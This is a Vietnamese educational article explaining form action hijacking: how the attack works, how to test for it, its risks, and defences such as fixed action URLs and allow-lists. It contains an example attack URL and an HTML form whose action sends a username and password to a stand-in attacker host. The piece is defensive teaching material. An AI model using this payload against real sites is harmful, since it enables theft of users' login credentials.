Form action hijacking cho phép kẻ tấn công chỉ định URL hành động của biểu mẫu thông qua một tham số. Kẻ tấn công có thể tạo một URL sẽ sửa đổi URL hành động của một biểu mẫu để trỏ đến máy chủ của kẻ tấn công. Nội dung biểu mẫu bao gồm mã thông báo CSRF, giá trị tham số do người dùng nhập và bất kỳ nội dung biểu mẫu nào khác sẽ được chuyển đến kẻ tấn công thông qua URL hành động bị tấn công.
Các bài viết liên quan:
Cách kiểm tra lỗ hổng xâm nhập Form action hijacking
Kiểm tra các giá trị tham số được truyền cho hành động biểu mẫu. Xem ví dụ bên dưới.
- Làm thế nào để ngăn chặn lỗ hổng xâm nhập hành động của biểu mẫu
- Mã hóa cố định URL hành động của biểu mẫu hoặc sử dụng danh sách các URL được phép.
Các ví dụ
URL sau sẽ tạo một biểu mẫu và đặt tham số “url” làm URL từ hành động. Khi biểu mẫu được gửi, ID và mật khẩu sẽ được gửi đến trang web của kẻ tấn công.
URL:
https://vulnerablehost.com/?url=https://attackersite.com
html:
<form name="form1" id="form1" method="post" action="https://attackersite.com"> <input type="text" name="id" value="user name"> <input type="password" name="pass" value="password"> <input type="submit" name="submit" value="Submit"> </form>
Xem thêm React Events
Hiểu về form action hijacking
Form action hijacking, hay còn được gọi là form hijacking, là một kỹ thuật tấn công mà kẻ tấn công can thiệp vào quá trình gửi dữ liệu từ một trang web thông qua biểu mẫu (form) để đánh cắp thông tin người dùng hoặc thực hiện các hành động độc hại. Kỹ thuật này thường được thực hiện bằng cách thay đổi hoặc chèn đoạn mã JavaScript vào trang web mục tiêu.
Khi người dùng nhập dữ liệu vào biểu mẫu trên trang web, thông thường các trình duyệt sẽ gửi dữ liệu đó tới đích mà được chỉ định trong thuộc tính “action” của thẻ <form>
. Tuy nhiên, trong trường hợp form action hijacking, kẻ tấn công có thể thay đổi hoặc chèn đoạn mã JavaScript để điều hướng dữ liệu đến một nguồn khác mà người dùng không mong muốn hoặc không biết.
Các hình thức tấn công phổ biến sử dụng form action hijacking bao gồm chuyển hướng dữ liệu đến một trang web giả mạo để đánh cắp thông tin đăng nhập, lừa người dùng chia sẻ thông tin nhạy cảm, hoặc thực hiện các hành động độc hại trên máy tính của người dùng.
Form action hijacking có thể gây nguy hiểm cho người dùng bởi vì nó lừa đảo và đánh lừa người dùng thành việc tiết lộ thông tin cá nhân, thông tin đăng nhập, hoặc thực hiện các hành động không mong muốn. Do đó, việc phòng ngừa và bảo vệ khỏi form action hijacking là rất quan trọng để đảm bảo an toàn cho người dùng khi sử dụng các trang web có biểu mẫu nhập liệu.
Xem thêm Form trong website là gì ?
Cách thức hoạt động của form action hijacking
Form action hijacking hoạt động bằng cách thay đổi hoặc chèn đoạn mã JavaScript vào trang web để can thiệp vào quá trình gửi dữ liệu từ một biểu mẫu (form) đến đích mong muốn. Cụ thể, quá trình hoạt động của form action hijacking bao gồm các bước sau:
- Phát hiện trang web có biểu mẫu: Kẻ tấn công tìm các trang web chứa biểu mẫu mà họ muốn tấn công, thông thường là các trang web yêu cầu người dùng nhập thông tin cá nhân hoặc đăng nhập.
- Can thiệp vào trang web: Kẻ tấn công thực hiện việc can thiệp vào trang web bằng cách thay đổi hoặc chèn đoạn mã JavaScript vào mã nguồn của trang.
- Thay đổi thuộc tính “action” của form: Kẻ tấn công thay đổi giá trị của thuộc tính “action” trong thẻ
<form>
để chỉ định đích mà dữ liệu sẽ được gửi đến. Thay vì gửi dữ liệu đến đích ban đầu, kẻ tấn công có thể điều hướng dữ liệu đến một trang web khác mà họ kiểm soát. - Gửi dữ liệu đến đích giả mạo: Khi người dùng nhập thông tin vào biểu mẫu và nhấn nút gửi, dữ liệu sẽ được gửi đến đích mới mà kẻ tấn công đã chỉ định. Đích mới có thể là một trang web giả mạo được tạo ra để lừa đảo và đánh cắp thông tin người dùng.
- Tiếp tục quá trình gian lận: Sau khi dữ liệu được gửi đến đích giả mạo, kẻ tấn công có thể thực hiện các hành động tiếp theo, như lừa đảo người dùng để tiết lộ thông tin nhạy cảm hoặc thực hiện các hành động độc hại.
Form action hijacking tận dụng sự tin tưởng của người dùng vào các biểu mẫu trên trang web và sự không đề phòng của họ khi gửi thông tin. Điều này đặt người dùng vào tình huống nguy hiểm và có thể dẫn đến mất cắp thông tin cá nhân hoặc bị lừa đảo.
Xem thêm Giao thức Mạng trong TCP/IP
Những nguy cơ và hậu quả của form action hijacking
Form action hijacking mang theo một số nguy cơ và hậu quả nghiêm trọng. Dưới đây là một số ví dụ về những rủi ro và hậu quả của form action hijacking:
- Đánh cắp thông tin cá nhân: Kẻ tấn công có thể sử dụng form action hijacking để thu thập thông tin cá nhân của người dùng, bao gồm tên, địa chỉ, số điện thoại, thông tin tài khoản ngân hàng và các thông tin nhạy cảm khác.
- Lừa đảo và chiếm đoạt tài khoản: Khi người dùng gửi thông tin đăng nhập qua form action hijacking, kẻ tấn công có thể lừa đảo và chiếm đoạt tài khoản của họ. Điều này có thể dẫn đến việc truy cập trái phép vào các dịch vụ trực tuyến, đánh cắp thông tin cá nhân hoặc thực hiện các hành động gian lận.
- Phishing: Kẻ tấn công có thể sử dụng form action hijacking để tạo ra các trang web giả mạo nhằm lừa đảo người dùng và tiết lộ thông tin cá nhân hoặc thông tin đăng nhập. Người dùng không nhận ra rằng họ đang gửi thông tin cho một trang web độc hại.
- Tấn công khác: Kẻ tấn công có thể sử dụng form action hijacking để thực hiện các hình thức tấn công khác như tấn công XSS (Cross-Site Scripting), tấn công CSRF (Cross-Site Request Forgery), tấn công SQL Injection và nhiều loại tấn công khác.
Hậu quả của form action hijacking có thể là việc mất cắp thông tin cá nhân, lừa đảo tài khoản, thiệt hại tài chính, mất quyền kiểm soát và sự tin tưởng của người dùng, ảnh hưởng tiêu cực đến uy tín và danh tiếng của tổ chức hoặc trang web bị tấn công.
Để bảo vệ chống lại form action hijacking, các biện pháp an ninh như sử dụng HTTPS, kiểm tra tính hợp lệ của các trang web và biểu mẫu, mã hóa thông tin, giáo dục người dùng về nguy cơ và cách phòng ngừa là cần thiết.
Phòng ngừa và bảo vệ khỏi form action hijacking
Để phòng ngừa và bảo vệ khỏi form action hijacking, bạn có thể thực hiện các biện pháp sau đây:
- Sử dụng HTTPS: Đảm bảo rằng trang web của bạn sử dụng kết nối HTTPS an toàn để mã hóa thông tin gửi đi và ngăn chặn kẻ tấn công đánh cắp thông tin.
- Kiểm tra tính hợp lệ của trang web và biểu mẫu: Trước khi gửi bất kỳ thông tin nào qua form, hãy kiểm tra tính hợp lệ của trang web và biểu mẫu. Xác minh rằng trang web là chính thức và biểu mẫu được tạo ra bởi trang web đó.
- Sử dụng token CSRF (Cross-Site Request Forgery): Đảm bảo rằng bạn sử dụng token CSRF trong form để ngăn chặn các cuộc tấn công CSRF. Token CSRF được tạo ra mỗi khi một trang được tải và được yêu cầu khi gửi dữ liệu qua form.
- Kiểm tra và xác thực dữ liệu nhập vào: Kiểm tra và xác thực dữ liệu nhập vào từ người dùng trước khi chấp nhận và sử dụng nó. Điều này bao gồm việc kiểm tra định dạng, giới hạn và sử dụng các bộ lọc để ngăn chặn các loại tấn công như XSS (Cross-Site Scripting).
- Cập nhật và bảo mật hệ thống: Đảm bảo rằng hệ thống của bạn được cập nhật đầy đủ và áp dụng các biện pháp bảo mật như firewall, IDS/IPS (Intrusion Detection/Prevention System), và các biện pháp khác để ngăn chặn các cuộc tấn công từ xa.
- Giáo dục người dùng: Tăng cường giáo dục người dùng về các nguy cơ của form action hijacking và cách phòng ngừa. Họ nên được khuyến khích sử dụng các trang web uy tín, kiểm tra URL và chú ý đến các biểu hiện của các trang web giả mạo hoặc đáng ngờ.
- Theo dõi và giám sát hoạt động: Theo dõi và giám sát các hoạt động trên trang web của bạn để phát hiện sớm các dấu hiệu của form action hijacking và có thể đưa ra các biện pháp phòng ngừa kịp thời.
Bằng cách kết hợp các biện pháp trên, bạn có thể giảm thiểu rủi ro và bảo vệ trang web của mình khỏi form action hijacking. Tuy nhiên, không có giải pháp bảo mật tuyệt đối, vì vậy việc duy trì an toàn và cập nhật liên tục là rất quan trọng.
Xem thêm AngularJS Forms – Hướng dẫn sử dụng Forms trong AngularJS